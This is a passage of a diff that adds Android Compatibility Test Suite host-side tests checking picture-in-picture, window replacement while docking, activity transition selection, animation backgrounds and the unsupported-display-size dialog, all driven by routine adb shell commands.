+        Rectangle pipMovementBounds = wmState.getPinnedStackMomentBounds();
+        assertTrue(!pipMovementBounds.intersects(imeBounds));
+    }
+
+    /**
+     * Asserts that the pinned stack bounds is contained in the display bounds.
+     */
+    private void assertPinnedStackActivityIsInDisplayBounds(String activity) throws Exception {
+        final WindowManagerState.WindowState windowState = getWindowState(activity);
+        final WindowManagerState.Display display = mAmWmState.getWmState().getDisplay(
+                windowState.getDisplayId());
+        final Rectangle displayRect = display.getDisplayRect();
+        final Rectangle pinnedStackBounds =
+                mAmWmState.getAmState().getStackById(PINNED_STACK_ID).getBounds();
+        assertTrue(displayRect.contains(pinnedStackBounds));
+    }
+
+    /**
+     * Asserts that the pinned stack exists.
+     */
+    private void assertPinnedStackExists() throws Exception {
+        mAmWmState.assertContainsStack("Must contain pinned stack.", PINNED_STACK_ID);
+    }
+
+    /**
+     * Asserts that the pinned stack does not exist.
+     */
+    private void assertPinnedStackDoesNotExist() throws Exception {
+        mAmWmState.assertDoesNotContainStack("Must not contain pinned stack.", PINNED_STACK_ID);
+    }
+
+    /**
+     * Asserts that the pinned stack is the front stack.
+     */
+    private void assertPinnedStackIsOnTop() throws Exception {
+        mAmWmState.assertFrontStack("Pinned stack must always be on top.", PINNED_STACK_ID);
+    }
+
+    /**
+     * Asserts that the activity received exactly one of each of the callbacks when entering and
+     * exiting picture-in-picture.
+     */
+    private void assertValidPictureInPictureCallbackOrder(String activityName, String logSeparator)
+            throws Exception {
+        final ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(activityName,
+                logSeparator);
+
+        if (lifecycleCounts.mConfigurationChangedCount != 1) {
+            fail(activityName + " has received " + lifecycleCounts.mConfigurationChangedCount
+                    + " onConfigurationChanged() calls, expecting 1");
+        } else if (lifecycleCounts.mPictureInPictureModeChangedCount != 1) {
+            fail(activityName + " has received " + lifecycleCounts.mPictureInPictureModeChangedCount
+                    + " onPictureInPictureModeChanged() calls, expecting 1");
+        } else if (lifecycleCounts.mMultiWindowModeChangedCount != 1) {
+            fail(activityName + " has received " + lifecycleCounts.mMultiWindowModeChangedCount
+                    + " onMultiWindowModeChanged() calls, expecting 1");
+        } else {
+            int lastPipLine = lifecycleCounts.mLastPictureInPictureModeChangedLineIndex;
+            int lastMwLine = lifecycleCounts.mLastMultiWindowModeChangedLineIndex;
+            int lastConfigLine = lifecycleCounts.mLastConfigurationChangedLineIndex;
+            if (!(lastPipLine < lastMwLine && lastMwLine < lastConfigLine)) {
+                fail(activityName + " has received callbacks in unexpected order.  Expected:"
+                        + " pip < mw < config change, but got line indices: " + lastPipLine + ", "
+                        + lastMwLine + ", " + lastConfigLine + " respectively");
+            }
+        }
+    }
+
+    /**
+     * @return the window state for the given {@param activity}'s window.
+     */
+    private WindowManagerState.WindowState getWindowState(String activity) throws Exception {
+        String windowName = getWindowName(activity);
+        mAmWmState.computeState(mDevice, new String[] {activity});
+        final List<WindowManagerState.WindowState> tempWindowList = new ArrayList<>();
+        mAmWmState.getWmState().getMatchingVisibleWindowState(windowName, tempWindowList);
+        return tempWindowList.get(0);
+    }
+
+    /**
+     * Compares two floats with a common epsilon.
+     */
+    private boolean floatEquals(float f1, float f2) {
+        return Math.abs(f1 - f2) < FLOAT_COMPARE_EPSILON;
+    }
+
+    /**
+     * Triggers a tap over the pinned stack bounds to trigger the PIP to close.
+     */
+    private void tapToFinishPip() throws Exception {
+        Rectangle pinnedStackBounds =
+                mAmWmState.getAmState().getStackById(PINNED_STACK_ID).getBounds();
+        int tapX = pinnedStackBounds.x + pinnedStackBounds.width - 100;
+        int tapY = pinnedStackBounds.y + pinnedStackBounds.height - 100;
+        executeShellCommand(String.format("input tap %d %d", tapX, tapY));
+    }
+
+    /**
+     * Launches the given {@param activityName} into the {@param taskId} as a task overlay.
+     */
+    private void launchActivityAsTaskOverlay(String activityName, int taskId, int stackId)
+            throws Exception {
+        executeShellCommand(getAmStartCmd(activityName) + " --task " + taskId + " --task-overlay");
+
+        mAmWmState.waitForValidState(mDevice, activityName, stackId);
+    }
+
+    /**
+     * Sets an app-ops op for a given package to a given mode.
+     */
+    private void setAppOpsOpToMode(String packageName, int op, int mode) throws Exception {
+        executeShellCommand(String.format("appops set %s %d %d", packageName, op, mode));
+    }
+
+    /**
+     * Triggers the window keycode.
+     */
+    private void pressWindowButton() throws Exception {
+        executeShellCommand(INPUT_KEYEVENT_WINDOW);
+    }
+
+    /**
+     * TODO: Improve tests check to actually check that apps are not interactive instead of checking
+     *       if the stack is focused.
+     */
+    private void pinnedStackTester(String startActivityCmd, String topActivityName,
+            boolean moveTopToPinnedStack, boolean isFocusable) throws Exception {
+
+        executeShellCommand(startActivityCmd);
+        if (moveTopToPinnedStack) {
+            executeShellCommand(AM_MOVE_TOP_ACTIVITY_TO_PINNED_STACK_COMMAND);
+        }
+
+        mAmWmState.waitForValidState(mDevice, topActivityName, PINNED_STACK_ID);
+        mAmWmState.computeState(mDevice, null);
+
+        if (supportsPip()) {
+            final String windowName = getWindowName(topActivityName);
+            assertPinnedStackExists();
+            mAmWmState.assertFrontStack("Pinned stack must be the front stack.", PINNED_STACK_ID);
+            mAmWmState.assertVisibility(topActivityName, true);
+
+            if (isFocusable) {
+                mAmWmState.assertFocusedStack(
+                        "Pinned stack must be the focused stack.", PINNED_STACK_ID);
+                mAmWmState.assertFocusedActivity(
+                        "Pinned activity must be focused activity.", topActivityName);
+                mAmWmState.assertFocusedWindow(
+                        "Pinned window must be focused window.", windowName);
+                // Not checking for resumed state here because PiP overlay can be launched on top
+                // in different task by SystemUI.
+            } else {
+                // Don't assert that the stack is not focused as a focusable PiP overlay can be
+                // launched on top as a task overlay by SystemUI.
+                mAmWmState.assertNotFocusedActivity(
+                        "Pinned activity can't be the focused activity.", topActivityName);
+                mAmWmState.assertNotResumedActivity(
+                        "Pinned activity can't be the resumed activity.", topActivityName);
+                mAmWmState.assertNotFocusedWindow(
+                        "Pinned window can't be focused window.", windowName);
+            }
+        } else {
+            mAmWmState.assertDoesNotContainStack(
+                    "Must not contain pinned stack.", PINNED_STACK_ID);
+        }
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerReplaceWindowTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerReplaceWindowTests.java
new file mode 100644
index 0000000..3aa3ce0
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerReplaceWindowTests.java
@@ -0,0 +1,104 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.cts;
+
+import java.lang.Exception;
+import java.lang.String;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+import junit.framework.Assert;
+
+import static com.android.ddmlib.Log.LogLevel.INFO;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.log.LogUtil.CLog;
+
+/**
+ * Build: mmma -j32 cts/hostsidetests/services
+ * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.ActivityManagerReplaceWindowTests
+ */
+public class ActivityManagerReplaceWindowTests extends ActivityManagerTestBase {
+
+    private static final String SLOW_CREATE_ACTIVITY_NAME = "SlowCreateActivity";
+    private static final String NO_RELAUNCH_ACTIVITY_NAME = "NoRelaunchActivity";
+
+    private List<String> mTempWindowTokens = new ArrayList();
+
+    public void testReplaceWindow_Dock_Relaunch() throws Exception {
+        testReplaceWindow_Dock(true);
+    }
+
+    public void testReplaceWindow_Dock_NoRelaunch() throws Exception {
+        testReplaceWindow_Dock(false);
+    }
+
+    private void testReplaceWindow_Dock(boolean relaunch) throws Exception {
+        if (!supportsSplitScreenMultiWindow()) {
+            CLog.logAndDisplay(INFO, "Skipping test: no multi-window support");
+            return;
+        }
+
+        final String activityName =
+                relaunch ? SLOW_CREATE_ACTIVITY_NAME : NO_RELAUNCH_ACTIVITY_NAME;
+        final String windowName = getWindowName(activityName);
+        final String amStartCmd = getAmStartCmd(activityName);
+
+        executeShellCommand(amStartCmd);
+
+        // Sleep 2 seconds, then check if the window is started properly.
+        // SlowCreateActivity will do a sleep inside its onCreate() to simulate a
+        // slow-starting app. So instead of relying on WindowManagerState's
+        // retrying mechanism, we do an explicit sleep to avoid excess spews
+        // from WindowManagerState.
+        if (SLOW_CREATE_ACTIVITY_NAME.equals(activityName)) {
+            Thread.sleep(2000);
+        }
+
+        CLog.logAndDisplay(INFO, "==========Before Docking========");
+        final String oldToken = getWindowToken(windowName, activityName);
+
+        // Move to docked stack
+        final int taskId = getActivityTaskId(activityName);
+        final String cmd = AM_MOVE_TASK + taskId + " " + DOCKED_STACK_ID + " true";
+        executeShellCommand(cmd);
+
+        // Sleep 5 seconds, then check if the window is replaced properly.
+        Thread.sleep(5000);
+
+        CLog.logAndDisplay(INFO, "==========After Docking========");
+        final String newToken = getWindowToken(windowName, activityName);
+
+        // For both relaunch and not relaunch case, we'd like the window to be kept.
+        Assert.assertEquals("Window replaced while docking.", oldToken, newToken);
+    }
+
+    private String getWindowToken(String windowName, String activityName)
+            throws Exception {
+        mAmWmState.computeState(mDevice, new String[] {activityName});
+
+        mAmWmState.assertVisibility(activityName, true);
+
+        mAmWmState.getWmState().getMatchingWindowTokens(windowName, mTempWindowTokens);
+
+        Assert.assertEquals("Should have exactly one window for the activity.",
+                1, mTempWindowTokens.size());
+
+        return mTempWindowTokens.get(0);
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerTransitionSelectionTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerTransitionSelectionTests.java
new file mode 100644
index 0000000..63aa1ab
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerTransitionSelectionTests.java
@@ -0,0 +1,266 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.cts;
+
+import android.platform.test.annotations.Presubmit;
+
+import static android.server.cts.WindowManagerState.TRANSIT_ACTIVITY_CLOSE;
+import static android.server.cts.WindowManagerState.TRANSIT_ACTIVITY_OPEN;
+import static android.server.cts.WindowManagerState.TRANSIT_TASK_CLOSE;
+import static android.server.cts.WindowManagerState.TRANSIT_TASK_OPEN;
+import static android.server.cts.WindowManagerState.TRANSIT_WALLPAPER_CLOSE;
+import static android.server.cts.WindowManagerState.TRANSIT_WALLPAPER_INTRA_CLOSE;
+import static android.server.cts.WindowManagerState.TRANSIT_WALLPAPER_INTRA_OPEN;
+import static android.server.cts.WindowManagerState.TRANSIT_WALLPAPER_OPEN;
+
+/**
+ * This test tests the transition type selection logic in ActivityManager/
+ * WindowManager. BottomActivity is started first, then TopActivity, and we
+ * check the transition type that the system selects when TopActivity enters
+ * or exits under various setups.
+ *
+ * Note that we only require the correct transition type to be reported (eg.
+ * TRANSIT_ACTIVITY_OPEN, TRANSIT_TASK_CLOSE, TRANSIT_WALLPAPER_OPEN, etc.).
+ * The exact animation is unspecified and can be overridden.
+ *
+ * Build: mmma -j32 cts/hostsidetests/services
+ * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.ActivityManagerTransitionSelectionTests
+ */
+@Presubmit
+public class ActivityManagerTransitionSelectionTests extends ActivityManagerTestBase {
+
+    private static final String BOTTOM_ACTIVITY_NAME = "BottomActivity";
+    private static final String TOP_ACTIVITY_NAME = "TopActivity";
+    private static final String TRANSLUCENT_TOP_ACTIVITY_NAME = "TranslucentTopActivity";
+
+    //------------------------------------------------------------------------//
+
+    // Test activity open/close under normal timing
+    public void testOpenActivity_NeitherWallpaper() throws Exception {
+        testOpenActivity(false /*bottomWallpaper*/, false /*topWallpaper*/,
+                false /*slowStop*/, TRANSIT_ACTIVITY_OPEN);
+    }
+
+    public void testCloseActivity_NeitherWallpaper() throws Exception {
+        testCloseActivity(false /*bottomWallpaper*/, false /*topWallpaper*/,
+                false /*slowStop*/, TRANSIT_ACTIVITY_CLOSE);
+    }
+
+    public void testOpenActivity_BottomWallpaper() throws Exception {
+        testOpenActivity(true /*bottomWallpaper*/, false /*topWallpaper*/,
+                false /*slowStop*/, TRANSIT_WALLPAPER_CLOSE);
+    }
+
+    public void testCloseActivity_BottomWallpaper() throws Exception {
+        testCloseActivity(true /*bottomWallpaper*/, false /*topWallpaper*/,
+                false /*slowStop*/, TRANSIT_WALLPAPER_OPEN);
+    }
+
+    public void testOpenActivity_BothWallpaper() throws Exception {
+        testOpenActivity(true /*bottomWallpaper*/, true /*topWallpaper*/,
+                false /*slowStop*/, TRANSIT_WALLPAPER_INTRA_OPEN);
+    }
+
+    public void testCloseActivity_BothWallpaper() throws Exception {
+        testCloseActivity(true /*bottomWallpaper*/, true /*topWallpaper*/,
+                false /*slowStop*/, TRANSIT_WALLPAPER_INTRA_CLOSE);
+    }
+
+    //------------------------------------------------------------------------//
+
+    // Test task open/close under normal timing
+    public void testOpenTask_NeitherWallpaper() throws Exception {
+        testOpenTask(false /*bottomWallpaper*/, false /*topWallpaper*/,
+                false /*slowStop*/, TRANSIT_TASK_OPEN);
+    }
+
+    public void testCloseTask_NeitherWallpaper() throws Exception {
+        testCloseTask(false /*bottomWallpaper*/, false /*topWallpaper*/,
+                false /*slowStop*/, TRANSIT_TASK_CLOSE);
+    }
+
+    public void testOpenTask_BottomWallpaper() throws Exception {
+        testOpenTask(true /*bottomWallpaper*/, false /*topWallpaper*/,
+                false /*slowStop*/, TRANSIT_WALLPAPER_CLOSE);
+    }
+
+    public void testCloseTask_BottomWallpaper() throws Exception {
+        testCloseTask(true /*bottomWallpaper*/, false /*topWallpaper*/,
+                false /*slowStop*/, TRANSIT_WALLPAPER_OPEN);
+    }
+
+    public void testOpenTask_BothWallpaper() throws Exception {
+        testOpenTask(true /*bottomWallpaper*/, true /*topWallpaper*/,
+                false /*slowStop*/, TRANSIT_WALLPAPER_INTRA_OPEN);
+    }
+
+    public void testCloseTask_BothWallpaper() throws Exception {
+        testCloseTask(true /*bottomWallpaper*/, true /*topWallpaper*/,
+                false /*slowStop*/, TRANSIT_WALLPAPER_INTRA_CLOSE);
+    }
+
+    //------------------------------------------------------------------------//
+
+    // Test activity close -- bottom activity slow in stopping
+    // These simulate the case where the bottom activity is resumed
+    // before AM receives its activitiyStopped
+    public void testCloseActivity_NeitherWallpaper_SlowStop() throws Exception {
+        testCloseActivity(false /*bottomWallpaper*/, false /*topWallpaper*/,
+                true /*slowStop*/, TRANSIT_ACTIVITY_CLOSE);
+    }
+
+    public void testCloseActivity_BottomWallpaper_SlowStop() throws Exception {
+        testCloseActivity(true /*bottomWallpaper*/, false /*topWallpaper*/,
+                true /*slowStop*/, TRANSIT_WALLPAPER_OPEN);
+    }
+
+    public void testCloseActivity_BothWallpaper_SlowStop() throws Exception {
+        testCloseActivity(true /*bottomWallpaper*/, true /*topWallpaper*/,
+                true /*slowStop*/, TRANSIT_WALLPAPER_INTRA_CLOSE);
+    }
+
+    //------------------------------------------------------------------------//
+
+    // Test task close -- bottom task top activity slow in stopping
+    // These simulate the case where the bottom activity is resumed
+    // before AM receives its activitiyStopped
+    public void testCloseTask_NeitherWallpaper_SlowStop() throws Exception {
+        testCloseTask(false /*bottomWallpaper*/, false /*topWallpaper*/,
+                true /*slowStop*/, TRANSIT_TASK_CLOSE);
+    }
+
+    public void testCloseTask_BottomWallpaper_SlowStop() throws Exception {
+        testCloseTask(true /*bottomWallpaper*/, false /*topWallpaper*/,
+                true /*slowStop*/, TRANSIT_WALLPAPER_OPEN);
+    }
+
+    public void testCloseTask_BothWallpaper_SlowStop() throws Exception {
+        testCloseTask(true /*bottomWallpaper*/, true /*topWallpaper*/,
+                true /*slowStop*/, TRANSIT_WALLPAPER_INTRA_CLOSE);
+    }
+
+    //------------------------------------------------------------------------//
+
+    /// Test closing of translucent activity/task
+    public void testCloseActivity_NeitherWallpaper_Translucent() throws Exception {
+        testCloseActivityTranslucent(false /*bottomWallpaper*/, false /*topWallpaper*/,
+                TRANSIT_ACTIVITY_CLOSE);
+    }
+
+    public void testCloseActivity_BottomWallpaper_Translucent() throws Exception {
+        testCloseActivityTranslucent(true /*bottomWallpaper*/, false /*topWallpaper*/,
+                TRANSIT_WALLPAPER_OPEN);
+    }
+
+    public void testCloseActivity_BothWallpaper_Translucent() throws Exception {
+        testCloseActivityTranslucent(true /*bottomWallpaper*/, true /*topWallpaper*/,
+                TRANSIT_WALLPAPER_INTRA_CLOSE);
+    }
+
+    public void testCloseTask_NeitherWallpaper_Translucent() throws Exception {
+        testCloseTaskTranslucent(false /*bottomWallpaper*/, false /*topWallpaper*/,
+                TRANSIT_TASK_CLOSE);
+    }
+
+    public void testCloseTask_BottomWallpaper_Translucent() throws Exception {
+        testCloseTaskTranslucent(true /*bottomWallpaper*/, false /*topWallpaper*/,
+                TRANSIT_WALLPAPER_OPEN);
+    }
+
+    public void testCloseTask_BothWallpaper_Translucent() throws Exception {
+        testCloseTaskTranslucent(true /*bottomWallpaper*/, true /*topWallpaper*/,
+                TRANSIT_WALLPAPER_INTRA_CLOSE);
+    }
+
+    //------------------------------------------------------------------------//
+
+    private void testOpenActivity(boolean bottomWallpaper,
+            boolean topWallpaper, boolean slowStop, String expectedTransit) throws Exception {
+        testTransitionSelection(true /*testOpen*/, false /*testNewTask*/,
+                bottomWallpaper, topWallpaper, false /*topTranslucent*/, slowStop, expectedTransit);
+    }
+    private void testCloseActivity(boolean bottomWallpaper,
+            boolean topWallpaper, boolean slowStop, String expectedTransit) throws Exception {
+        testTransitionSelection(false /*testOpen*/, false /*testNewTask*/,
+                bottomWallpaper, topWallpaper, false /*topTranslucent*/, slowStop, expectedTransit);
+    }
+    private void testOpenTask(boolean bottomWallpaper,
+            boolean topWallpaper, boolean slowStop, String expectedTransit) throws Exception {
+        testTransitionSelection(true /*testOpen*/, true /*testNewTask*/,
+                bottomWallpaper, topWallpaper, false /*topTranslucent*/, slowStop, expectedTransit);
+    }
+    private void testCloseTask(boolean bottomWallpaper,
+            boolean topWallpaper, boolean slowStop, String expectedTransit) throws Exception {
+        testTransitionSelection(false /*testOpen*/, true /*testNewTask*/,
+                bottomWallpaper, topWallpaper, false /*topTranslucent*/, slowStop, expectedTransit);
+    }
+    private void testCloseActivityTranslucent(boolean bottomWallpaper,
+            boolean topWallpaper, String expectedTransit) throws Exception {
+        testTransitionSelection(false /*testOpen*/, false /*testNewTask*/,
+                bottomWallpaper, topWallpaper, true /*topTranslucent*/,
+                false /*slowStop*/, expectedTransit);
+    }
+    private void testCloseTaskTranslucent(boolean bottomWallpaper,
+            boolean topWallpaper, String expectedTransit) throws Exception {
+        testTransitionSelection(false /*testOpen*/, true /*testNewTask*/,
+                bottomWallpaper, topWallpaper, true /*topTranslucent*/,
+                false /*slowStop*/, expectedTransit);
+    }
+    //------------------------------------------------------------------------//
+
+    private void testTransitionSelection(
+            boolean testOpen, boolean testNewTask,
+            boolean bottomWallpaper, boolean topWallpaper, boolean topTranslucent,
+            boolean testSlowStop, String expectedTransit) throws Exception {
+        String bottomStartCmd = getAmStartCmd(BOTTOM_ACTIVITY_NAME);
+        if (bottomWallpaper) {
+            bottomStartCmd += " --ez USE_WALLPAPER true";
+        }
+        if (testSlowStop) {
+            bottomStartCmd += " --ei STOP_DELAY 3000";
+        }
+        executeShellCommand(bottomStartCmd);
+
+        final String topActivityName = topTranslucent ?
+                TRANSLUCENT_TOP_ACTIVITY_NAME : TOP_ACTIVITY_NAME;
+        final String[] bottomActivityArray = new String[] {BOTTOM_ACTIVITY_NAME};
+        final String[] topActivityArray = new String[] {topActivityName};
+
+        mAmWmState.computeState(mDevice, bottomActivityArray);
+
+        String topStartCmd = getAmStartCmd(topActivityName);
+        if (testNewTask) {
+            topStartCmd += " -f 0x18000000";
+        }
+        if (topWallpaper) {
+            topStartCmd += " --ez USE_WALLPAPER true";
+        }
+        if (!testOpen) {
+            topStartCmd += " --ei FINISH_DELAY 1000";
+        }
+        executeShellCommand(topStartCmd);
+        Thread.sleep(5000);
+        if (testOpen) {
+            mAmWmState.computeState(mDevice, topActivityArray);
+        } else {
+            mAmWmState.computeState(mDevice, bottomActivityArray);
+        }
+
+        assertEquals("Picked wrong transition", expectedTransit,
+                mAmWmState.getWmState().getLastTransition());
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/AnimationBackgroundTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/AnimationBackgroundTests.java
new file mode 100644
index 0000000..8467af2
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/AnimationBackgroundTests.java
@@ -0,0 +1,50 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.cts;
+
+/**
+ * Build: mmma -j32 cts/hostsidetests/services
+ * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.AnimationBackgroundTests
+ */
+public class AnimationBackgroundTests extends ActivityManagerTestBase {
+
+    public void testAnimationBackground_duringAnimation() throws Exception {
+        launchActivity(LAUNCHING_ACTIVITY);
+        getLaunchActivityBuilder()
+                .setTargetActivityName("AnimationTestActivity")
+                .setWaitForLaunched(false)
+                .execute();
+
+        // Make sure we are in the middle of the animation.
+        mAmWmState.waitForWithWmState(mDevice, state -> state
+                .getStack(FULLSCREEN_WORKSPACE_STACK_ID)
+                        .isWindowAnimationBackgroundSurfaceShowing(),
+                "***Waiting for animation background showing");
+        assertTrue("window animation background needs to be showing", mAmWmState.getWmState()
+                .getStack(FULLSCREEN_WORKSPACE_STACK_ID)
+                .isWindowAnimationBackgroundSurfaceShowing());
+    }
+
+    public void testAnimationBackground_gone() throws Exception {
+        launchActivity(LAUNCHING_ACTIVITY);
+        getLaunchActivityBuilder().setTargetActivityName("AnimationTestActivity").execute();
+        mAmWmState.computeState(mDevice, new String[] { "AnimationTestActivity "});
+        assertFalse("window animation background needs to be gone", mAmWmState.getWmState()
+                .getStack(FULLSCREEN_WORKSPACE_STACK_ID)
+                .isWindowAnimationBackgroundSurfaceShowing());
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/DisplaySizeTest.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/DisplaySizeTest.java
new file mode 100644
index 0000000..0ebbfe2
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/DisplaySizeTest.java
@@ -0,0 +1,174 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.cts;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceTestCase;
+
+/**
+ * Ensure that compatibility dialog is shown when launching an application with
+ * an unsupported smallest width.
+ *
+ * Build: mmma -j32 cts/hostsidetests/services
+ * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.DisplaySizeTest
+ */
+public class DisplaySizeTest extends DeviceTestCase {
+    private static final String DENSITY_PROP_DEVICE = "ro.sf.lcd_density";
+    private static final String DENSITY_PROP_EMULATOR = "qemu.sf.lcd_density";
+
+    private static final String AM_START_COMMAND = "am start -n %s/%s.%s";
+    private static final String AM_FORCE_STOP = "am force-stop %s";
+
+    private static final int ACTIVITY_TIMEOUT_MILLIS = 1000;
+    private static final int WINDOW_TIMEOUT_MILLIS = 1000;
+
+    private ITestDevice mDevice;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+
+        mDevice = getDevice();
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+
+        try {
+            resetDensity();
+
+            // Ensure app process is stopped.
+            forceStopPackage("android.displaysize.app");
+            forceStopPackage("android.server.cts");
+        } catch (DeviceNotAvailableException e) {
+            // Do nothing.
+        }
+    }
+
+    public void testCompatibilityDialog() throws Exception {
+        // Launch some other app (not to perform density change on launcher).
+        startActivity("android.server.cts", "TestActivity");
+        verifyWindowDisplayed("TestActivity", ACTIVITY_TIMEOUT_MILLIS);
+
+        setUnsupportedDensity();
+
+        // Launch target app.
+        startActivity("android.displaysize.app", "SmallestWidthActivity");
+        verifyWindowDisplayed("SmallestWidthActivity", ACTIVITY_TIMEOUT_MILLIS);
+        verifyWindowDisplayed("UnsupportedDisplaySizeDialog", WINDOW_TIMEOUT_MILLIS);
+    }
+
+    public void testCompatibilityDialogWhenFocused() throws Exception {
+        startActivity("android.displaysize.app", "SmallestWidthActivity");
+        verifyWindowDisplayed("SmallestWidthActivity", ACTIVITY_TIMEOUT_MILLIS);
+
+        setUnsupportedDensity();
+
+        verifyWindowDisplayed("UnsupportedDisplaySizeDialog", WINDOW_TIMEOUT_MILLIS);
+    }
+
+    public void testCompatibilityDialogAfterReturn() throws Exception {
+        // Launch target app.
+        startActivity("android.displaysize.app", "SmallestWidthActivity");
+        verifyWindowDisplayed("SmallestWidthActivity", ACTIVITY_TIMEOUT_MILLIS);
+        // Launch another activity.
+        startOtherActivityOnTop("android.displaysize.app", "SmallestWidthActivity");
+        verifyWindowDisplayed("TestActivity", ACTIVITY_TIMEOUT_MILLIS);
+
+        setUnsupportedDensity();
+
+        // Go back.
+        mDevice.executeShellCommand("input keyevent 4");
+
+        verifyWindowDisplayed("SmallestWidthActivity", ACTIVITY_TIMEOUT_MILLIS);
+        verifyWindowDisplayed("UnsupportedDisplaySizeDialog", WINDOW_TIMEOUT_MILLIS);
+    }
+
+    private void setUnsupportedDensity() throws DeviceNotAvailableException {
+        // Set device to 0.85 zoom. It doesn't matter that we're zooming out
+        // since the feature verifies that we're in a non-default density.
+        final int stableDensity = getStableDensity();
+        final int targetDensity = (int) (stableDensity * 0.85);
+        setDensity(targetDensity);
+    }
+
+    private int getStableDensity() {
+        try {
+            final String densityProp;
+            if (mDevice.getSerialNumber().startsWith("emulator-")) {
+                densityProp = DENSITY_PROP_EMULATOR;
+            } else {
+                densityProp = DENSITY_PROP_DEVICE;
+            }
+
+            return Integer.parseInt(mDevice.getProperty(densityProp));
+        } catch (DeviceNotAvailableException e) {
+            return 0;
+        }
+    }
+
+    private void setDensity(int targetDensity) throws DeviceNotAvailableException {
+        mDevice.executeShellCommand("wm density " + targetDensity);
+
+        // Verify that the density is changed.
+        final String output = mDevice.executeShellCommand("wm density");
+        final boolean success = output.contains("Override density: " + targetDensity);
+
+        assertTrue("Failed to set density to " + targetDensity, success);
+    }
+
+    private void resetDensity() throws DeviceNotAvailableException {
+        mDevice.executeShellCommand("wm density reset");
+    }
+
+    private void forceStopPackage(String packageName) throws DeviceNotAvailableException {
+        final String forceStopCmd = String.format(AM_FORCE_STOP, packageName);
+        mDevice.executeShellCommand(forceStopCmd);
+    }
+
+    private void startActivity(String packageName, String activityName)
+            throws DeviceNotAvailableException {
+        mDevice.executeShellCommand(getStartCommand(packageName, activityName));
+    }
+
+    private void startOtherActivityOnTop(String packageName, String activityName)
+            throws DeviceNotAvailableException {
+        final String startCmd = getStartCommand(packageName, activityName)
+                + " -f 0x20000000 --ez launch_another_activity true";
+        mDevice.executeShellCommand(startCmd);
+    }
+
+    private String getStartCommand(String packageName, String activityName) {
+        return String.format(AM_START_COMMAND, packageName, packageName, activityName);
+    }
+
+    private void verifyWindowDisplayed(String windowName, long timeoutMillis)
+            throws DeviceNotAvailableException {
+        boolean success = false;
+
+        // Verify that compatibility dialog is shown within 1000ms.
+        final long timeoutTimeMillis = System.currentTimeMillis() + timeoutMillis;
+        while (!success && System.currentTimeMillis() < timeoutTimeMillis) {
+            final String output = mDevice.executeShellCommand("dumpsys window");
+            success = output.contains(windowName);
+        }
+
+        assertTrue(windowName + " was not displayed", success);
+    }
+}
